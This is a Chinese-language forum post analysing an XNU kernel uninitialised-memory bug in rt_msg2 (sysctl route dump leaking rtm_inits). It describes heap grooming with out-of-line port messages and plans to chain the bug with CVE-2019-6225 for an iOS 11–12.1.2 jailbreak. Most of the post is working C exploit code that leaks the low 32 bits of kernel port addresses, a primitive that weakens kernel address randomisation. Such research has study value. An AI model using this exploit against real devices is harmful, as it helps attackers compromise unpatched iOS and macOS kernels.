@jmpews wrote:
0. Prologue
闲时分析了下, 写了一个利用, 因为目前打 11.x - 12.1.2 的 jailbreak 只利用了
CVE-2019-6225
, 有一些不稳定, 即使是Brandon Azad
写的voucher_swap
exp 其中也存在大量的 hardcode 的内核堆布局. 尝试了下使用这个洞和CVE-2019-6225
打一个组合拳.很简单的一个漏洞, 分配内存后没有完全初始化, 返回用户空间导致泄露了内核
zone_map
地址空间内容.这个洞略微有点鸡肋只能泄露低 32 位 (庆幸是低 32 位).
xnu source version: 4903.221.2
1. 漏洞点
rt_msg2: if (cp == NULL && w != NULL && !second_time) { struct walkarg *rw = w; if (rw->w_req != NULL) { if (rw->w_tmemsize < len) { if (rw->w_tmem != NULL) FREE(rw->w_tmem, M_RTABLE); rw->w_tmem = _MALLOC(len, M_RTABLE, M_WAITOK); if (rw->w_tmem != NULL) rw->w_tmemsize = len; } if (rw->w_tmem != NULL) { cp = rw->w_tmem; second_time = 1; goto again; } } }
/* * Structures for routing messages. */ struct rt_msghdr { u_short rtm_msglen; /* to skip over non-understood messages */ u_char rtm_version; /* future binary compatibility */ u_char rtm_type; /* message type */ u_short rtm_index; /* index for associated ifp */ int rtm_flags; /* flags, incl. kern & message, e.g. DONE */ int rtm_addrs; /* bitmask identifying sockaddrs in msg */ pid_t rtm_pid; /* identify sender */ int rtm_seq; /* for sender to identify action */ int rtm_errno; /* why failed */ int rtm_use; /* from rtentry */ u_int32_t rtm_inits; /* which metrics we are initializing */ struct rt_metrics rtm_rmx; /* metrics themselves */ };
rt_msg2
里使用_MALLOC
没有携带M_ZERO
flag, 且之后对rt_msghdr(rt_msghdr2)
的初始化中, 遗漏了对rtm_inits
的初始化.2. 构建 Leak Port Address Primitive
利用技巧和
CVE-2017-13865
如出一辙.2.1. 判断
_MALLOC
使用的 zone
zone_size
可以通过rt_msghdr->rtm_msglen
判断.2.2. 使用 OOL PORTS MSG 填充
这里注意下过滤下
zfree_poison_element
在zfree
填充的ZP_POISON
(其实不过滤也没有关系)详细 exp 附.
3. 利用
虽然只能 leak port address 的低 32 位, 但是根据
zone_map capacity
, 在非很大内存设备上已经可以根据低 32 位, 确定唯一的zone map address
.size_t get_zone_map_capacity() { mach_vm_size_t zsize; zsize = g_hardware_info.hw_memsize >> 2; #if defined(__LP64__) zsize += zsize >> 1; #endif return zsize; } size_t get_zone_map_gc_capacity() { return ((get_zone_map_capacity() * zone_map_jetsam_limit) / 100); }
通过 leak port address 可以做如下利用.
3.1. 利用 leaked port address to determine if zone gc occured
3.2. 利用 leaked port address to manipulate kernel heap better.
例如 ian beer 就利用过这个技巧, 去选择一个可以 overlap 在
mach_simple_msg_t
的 body content 的 port 作为攻击 target, 从而避免了偶然选择了落在ipc_kmsg
,max_desc
等位置.其次如果可以完整的 leak port address 那么在
Brandon Azad
的voucher_swap
利用就可以直接用voucher_reference
&voucher_release
构建一个 userspace 的 fake port4. 与
CVE-2019-6225
打一个组合拳…
5. exp
size_t leak_zone_size = 0; int comparator(const void *a, const void *b) { return (*(uint32_t *)a - *(uint32_t *)b); } uint32_t mostFrequent(uint32_t arr[], int n) { // Sort the array // sort(arr, arr + n); qsort(arr, n, sizeof(uint32_t), comparator); // find the max frequency using linear traversal int max_count = 1, res = arr[0], curr_count = 1; for (int i = 1; i < n; i++) { if (arr[i] == arr[i - 1]) curr_count++; else { if (curr_count > max_count) { max_count = curr_count; res = arr[i - 1]; } curr_count = 1; } } // If last element is most frequent if (curr_count > max_count) { max_count = curr_count; res = arr[n - 1]; } return res; } static void sysctl_exploit(uint8_t *buf, size_t *lenPTR) { int mib[6], maxproc; mib[0] = CTL_NET; mib[1] = PF_ROUTE; mib[2] = 0; mib[3] = AF_INET6; mib[4] = NET_RT_DUMP; mib[5] = 0; sysctl(mib, 6, buf, lenPTR, NULL, 0); if (!(*lenPTR)) { FATAL("sysctl failed"); } } static void init_preprocessor() { uint8_t buf[4096] = {0}; size_t buf_size = 4096; sysctl_exploit(buf, &buf_size); struct rt_msghdr *rtm = buf; while (((uint64_t)rtm + rtm->rtm_msglen) <= ((uint64_t)buf + buf_size)) { DLOG("rtm msg length :%d\n", rtm->rtm_msglen); rtm = ((uint64_t)rtm + rtm->rtm_msglen); if (rtm->rtm_msglen == 0) break; } leak_zone_size = get_kalloc_zone_size(((struct rt_msghdr *)buf)->rtm_msglen); LOG("leak zone size select : %d", leak_zone_size); } uint32_t cve_2019_6207_leak_port_kern_addr_low_4_bytes(mach_port_t target_port) { init_preprocessor(); size_t ports_count = leak_zone_size / sizeof(mach_port_t *); mach_port_t *ports = calloc(ports_count, sizeof(mach_port_t)); for (int i = 0; i < ports_count; ++i) { ports[i] = target_port; } int guess_count = 50; uint32_t leak_4_byte_guess[guess_count]; for (int i = 0; i < guess_count; ++i) { mach_port_t remote = allocate_mach_port(MACH_PORT_RIGHT_RECEIVE, true); kern_return_t err = mach_port_insert_right(mach_task_self(), remote, remote, MACH_MSG_TYPE_MAKE_SEND); KERN_RETURN_ASSERT(err); mach_ool_ports_msg_t *msg = NULL; mach_msg_size_t msg_size = 0; gen_ool_ports_msg_placeholder(ports, ports_count, MACH_MSG_TYPE_COPY_SEND, &msg, &msg_size); for (int j = 0; j < 3; j++) { send_message(&msg->header, remote, MACH_PORT_NULL); msg->header.msgh_id += 1; } mach_port_destroy(mach_task_self(), remote); uint8_t buf[4096] = {0}; size_t buf_size = 4096; sysctl_exploit(buf, &buf_size); leak_4_byte_guess[i] = ((struct rt_msghdr *)buf)->rtm_inits; } // filter the posion elem with `zfree_poison_element` #define ZP_POISON 0xdeadbeef for (size_t i = 0; i < guess_count; i++) { if (leak_4_byte_guess[i] == ZP_POISON) leak_4_byte_guess[i] = 0; } uint32_t leak_4_bytes = mostFrequent(leak_4_byte_guess, guess_count); if (leak_4_bytes == 0) FATAL("can't found the port kern address"); LOG("leak 4 bytes: %.4x", leak_4_bytes); return leak_4_bytes; }
Posts: 3
Participants: 3